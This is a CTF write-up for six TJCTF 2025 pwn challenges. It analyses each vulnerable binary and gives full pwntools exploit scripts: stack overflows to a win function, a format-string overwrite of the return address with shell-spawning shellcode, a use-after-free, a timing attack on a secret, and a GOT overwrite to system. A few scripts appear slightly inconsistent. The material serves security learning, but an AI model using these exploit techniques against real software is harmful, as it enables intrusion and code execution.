Summary
These are quick writeups for the pwn challenges from TJCTF 2025. Unfortunately, I wasn't able to participate during the CTF, but since the platform remained online afterward, I decided to tackle the challenges and document my solutions.
birds
Source Code Analysis
Looking at the source code, we see the following logic:
unsigned int canary = 0xDEADBEEF;
char buf[64];
puts("I made a canary to stop buffer overflows. Prove me wrong!");
gets(buf);
if (canary != 0xDEADBEEF) {
puts("No stack smashing for you!");
exit(1);
}
At first glance, it looks like there's a stack canary, but it's just a local variable we can overwrite with the right value—so it's useless as protection.
Now that we've identified a buffer overflow and a bypassable canary, let's check the binary protections:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Since PIE is disabled and there is no real stack canary, we can perform a simple ret2win attack by overwriting the return address after restoring the canary.
Exploitation Strategy
- Overflow the buffer to reach the canary.
- Overwrite the canary with its expected value (
0xDEADBEEF). - Overwrite the return address to redirect execution to the
winfunction, passing the correct argument (0xA1B2C3D4).
Exploit Code
from pwn import*
elf = context.binary = ELF('./birds')
io = process()
payload = b'A' * (0x50 - 0x4) + p32(0xdeadbeef) + p64(0x0) + p64(0x4011c0) + p64(0xa1b2c3d4) + p64(0x0) + p64(elf.sym.win)
io.sendline(payload)
io.interactive()
buggy
Challenge Overview
We are given a banking program that allows us to perform various operations like viewing balance, depositing, withdrawing, and transferring money.
Key Observations
-
Format String Vulnerability:
- In the deposit action, there's a direct use of user input in printf:
c if (DEBUG) { printf(inputBuffer); }
- This allows us to perform format string attacks -
Binary Protections:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
The key protection to note here is that the stack is executable, which means we can write and execute shellcode on the stack.
Exploitation Strategy
-
Initial Setup:
- The program leaks the address of our input buffer and balance
- We can calculate the address of saved RIP (return address) from the buffer address -
Format String Attack:
- We need to write the address of our shellcode to the saved RIP
- Since we need to write multiple bytes and the addresses contain null bytes, we can't do it in one go because fgets() terminates input reading when it encounters a null byte (0x00), which are present in our target addresses
- We'll use the infinite loop to write one byte at a time using%hhn -
Shellcode Execution:
- Once we've redirected execution to our buffer, we'll place shellcode to spawn a shell
- The shellcode will be placed at the beginning of our buffer
Exploit Code
from pwn import*
context.terminal = ['kitty', '-e']
elf = context.binary = ELF('./chall')
io = process()
buf = int(io.recvuntil(b',', drop=True), 16)
savedRIP = buf + 0x418
log.info("Buffer is at: " + hex(buf))
log.success("Found saved rip address: " + hex(savedRIP))
def writeToMem(address, value):
if value == 0:
return
payload = b'A' * 0x20 + p64(address)
io.send(payload)
io.sendline() # flush the nullbytes in the input buffer
io.sendline(b'deposit')
payload = f"%{value}c".encode()
payload += b'%16$hhn'
io.sendline(payload)
buf = buf + 0x8 # offset so our shellcode doesn't get overwritten when we write 'exit'
writeToMem(savedRIP, buf & 0xff)
writeToMem(savedRIP + 0x1, (buf >> 8) & 0xff)
writeToMem(savedRIP + 0x2, (buf >> 16) & 0xff)
writeToMem(savedRIP + 0x3, (buf >> 24) & 0xff)
writeToMem(savedRIP + 0x4, (buf >> 32) & 0xff)
writeToMem(savedRIP + 0x5, (buf >> 40) & 0xff)
writeToMem(savedRIP + 0x6, (buf >> 48) & 0xff)
writeToMem(savedRIP + 0x7, (buf >> 56) & 0xff)
payload = b'A' * 0x8
payload += asm("""
mov rbx, 0x0068732f2f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
""")
io.sendline(payload)
io.interactive()
Explanation of the Exploit
-
Format String Vulnerability:
- We use the format string vulnerability in the deposit action to write to memory
- The%hhnformat specifier writes a single byte, allowing us to write the address byte by byte -
Memory Writing:
- We write the target address to a known location in our buffer that already contains null bytes (since we can't place null bytes ourselves)
- Using GDB, we can easily find such a location at offset 0x20
- Then use format string to write the desired value to that address
- We repeat this process for each byte of the saved RIP address -
Shellcode:
- Once we've redirected execution to our buffer, we place our shellcode
city-planning
Challenge Overview
We are given a city planning program that allows us to submit building plans and try to guess the coordinates of a secret headquarters building to get the flag.
Key Observations
-
Memory Management:
- The program allocates memory for a secret HQ building (superSecretHQ) and then frees it if it doesn't meet approval criteria
- The approval criteria for HQ is:
c bool approveHQ(HQPlan *plan) { if (plan->numAcres >= 100) { free(plan); plan = NULL; return false; } if (plan->coordinates[0] >= 50 || plan->coordinates[1] >= 50) { free(plan); plan = NULL; return false; } return true; }
- Since the HQ coordinates are set torand() % 150 + 50, they will always be >= 50, causing the HQ to be freed -
Use-After-Free Vulnerability:
- The program allocatescurrentBuildingafter freeingsuperSecretHQ
- Both structures have similar sizes:buildingPlan: 32 (name) + 4 (numAcres) + 8 (coordinates) = 44 bytesHQPlan: 4 (numAcres) + 8 (coordinates) + 32 (entryCode) = 44 bytes- Due to heap reuse,
currentBuildingwill likely be allocated at the same address as the freedsuperSecretHQ
-
Exploitation Path:
- We can control thenamefield ofcurrentBuilding(32 bytes)
- This will overwrite thenumAcresandcoordinatesfields of the freedsuperSecretHQ
- When we guess the coordinates later, we can set them to 0 since our input will have overwritten them
Exploitation Strategy
-
Submit a building plan that gets approved:
- Name: Any 4 bytes or less (will overwrite HQ numAcres and set its coordinates to 0)
- Size: < 10 acres
- Coordinates: < 200 -
When asked to guess HQ coordinates:
- Enter 0 for both coordinates since our input has overwritten them
Exploit Code
from pwn import *
io = process('./chall')
io.sendlineafter(b'name: ', b'A' * 3)
io.sendlineafter(b'acres): ', b'5')
io.sendlineafter(b'center): ', b'100')
io.sendlineafter(b'center): ', b'100')
io.sendlineafter(b'coordinate: ', b'0')
io.sendlineafter(b'coordinate: ', b'0')
io.interactive()
extra-credit
Challenge Overview
The challenge presents a student grade management system where we need to gain teacher access to change grades and obtain the flag. The system has two main security checks:
1. ID validation
2. Secret code authentication
Key Observations
-
Teacher ID Check:
- The system checks if the ID is a valid student ID (less than 10)
- The teacher's ID is0xbee
- The ID is cast to a short before comparison, allowing for integer overflow -
Secret Code Authentication:
- Uses a timing-based side channel attack
- The process slows down (sleeps) when more correct characters are provided
- This creates a timing difference we can measure to determine correct characters
Exploitation Strategy
The exploit requires two main steps:
-
Bypass Teacher ID Check:
- Since the ID is cast to a short before comparison, we can use a negative integer to bypass the ID check
- The lower 16 bits need to be0x0bee
- Example:0xffff0beewill be cast to0x0beeas a short -
Crack the Secret Code:
- Implement a timing attack to determine the correct characters
- Measure response times for each possible character
- Build the secret code character by character
- Use the complete secret code to authenticate as teacher
Exploit Code
from pwn import *
import time
import string
context.log_level = 'error'
context.binary = './gradeViewer'
SECRET_LENGTH = 32
keys = string.ascii_lowercase + string.digits
def crack_secret():
known_secret = bytearray(b'?' * SECRET_LENGTH)
for position in range(SECRET_LENGTH):
max_time = 0
best_key = None
for key in keys:
test_secret = known_secret.copy()
test_secret[position] = ord(key)
print(f"\r[*] Current: {test_secret.decode()}", end='', flush=True)
io = process('./test')
io.sendlineafter(b'ID:', b'4294904814')
io.recvuntil(b'[a-z, 0-9]:')
start_time = time.perf_counter()
io.sendline(test_secret)
response = io.recvuntil((b'granted', b'Invalid'), timeout=2)
end_time = time.perf_counter()
io.close()
elapsed = end_time - start_time
if b'granted' in response:
print(f"\n[+] Found secret: {test_secret.decode()}")
return test_secret.decode()
if elapsed > max_time:
max_time = elapsed
best_key = key
known_secret[position] = ord(best_key)
io = process('./test')
io.sendlineafter(b'ID:', b'4294904814')
io.sendlineafter(b'[a-z, 0-9]:', known_password)
response = io.recvuntil((b'granted', b'Invalid'), timeout=2)
io.close()
crack_secret()
linked
Challenge Overview
We are given a program that manages a linked list of calendar events. The program allows us to add two events, each with a time and name.
Key Observations
- Data Structures:
struct event {
int time;
char name[128];
struct event *next;
};
struct eventList {
int size;
struct event *head;
};
-
Vulnerability:
- Theinpcpyfunction used to copy event names doesn't check for buffer boundaries
- We can overflow thenamebuffer to overwrite thenextpointer
- The program doesn't validate the list size when displaying events, allowing us to traverse beyond allocated nodes -
Binary Protections:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Exploitation Strategy
Initially, I thought this was going to be a heap challenge due to the use of linked lists and dynamic memory allocation. However, after checking the binary protections and noticing the hint puts("cat flag.txt"), it became clear that this was a GOT overwrite challenge.
-
Leak libc address:
- Use the first event to overflow thenamebuffer and set thenextpointer to point to the GOT entry ofputs
- WhendisplayEventsis called, it will leak the libc address ofputs
- The first 4 bytes will be leaked in thetimefield and the rest in thenamefield -
Overwrite GOT entry:
- Use the second event to overwrite theputsGOT entry with the address ofsystem
- When the program tries to print the hint message, it will executesystem("cat flag.txt")
Exploit Code
from pwn import*
elf = context.binary = ELF('./chall')
libc = elf.libc
io = process()
io.sendline(b'1')
payload = b'A' * 0x80 + p32(0x0) + p64(elf.got.puts)
io.sendline(payload)
io.recvuntil(b'A' * 0x80)
low = int(io.recvuntil(b':00', drop=True))
high = u32(io.recvline().strip().ljust(0x4, b'\x00'))
puts = low + (high << 32)
libc.address = puts - libc.sym.puts
io.sendline(str(libc.sym.system & 0xffffffff).encode())
io.interactive()
wrong-warp
Challenge Overview
We are given an ELF file named heroQuest. After reversing the binary using IDA and analyzing it, I discovered the following:
Key Observations
-
Function Analysis:
- In thefightfunction, we can retrieve the flag if the enemy string isfinalBossand we defeat it.
- However, there is no legitimate way to call the function withfinalBossas the enemy in the binary. -
Vulnerability:
- Thesavefunction contains a buffer overflow vulnerability:
```c
__int64 save()
{
_BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREFreturn gets(v1);
}
``` -
Binary Protections:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Given these protections, we can perform a ret2win attack.
Exploitation Strategies
There are two main ways to exploit the buffer overflow in save:
-
ret2fight with finalBoss string:
- We can use apop rdi; retgadget to set therdiregister to the address of the stringfinalBossin the binary's data section, then return to thefightfunction. This might require running the binary a few times until we get lucky with a negative value for the enemy's health (since we don't have a pop rdx gadget). -
Jump after the if checks in fight:
- Alternatively, we could jump to the code after theifchecks in thefightfunction. In this case, we would need to pass a writable region torbpsince the flag will be written torbp-0x70.
I went with the second method.
Exploit Code
from pwn import*
elf = context.binary = ELF('./heroQuest')
io = process()
# to reach the save function
io.sendline(b'MySave')
io.sendline(b'w')
io.sendline(b'r')
payload = b'A' * 0x20
payload += p64(0x404500)
payload += p64(0x401640)
io.sendline(payload)
io.interactive()
Explanation of the Exploit
-
Buffer Overflow:
- Thesavefunction usesgets()to read user input into a 32-byte buffer (v1).
- This allows me to overflow the buffer and control the return address. -
Payload Construction:
-b'A' * 0x20: Fills the buffer.
-p64(0x404500): Passes a writable region torbp.
-p64(0x401640): Jumps to the code after theifchecks in thefightfunction. -
Execution:
- The flag is written to the writable region (rbp-0x70) and then printed.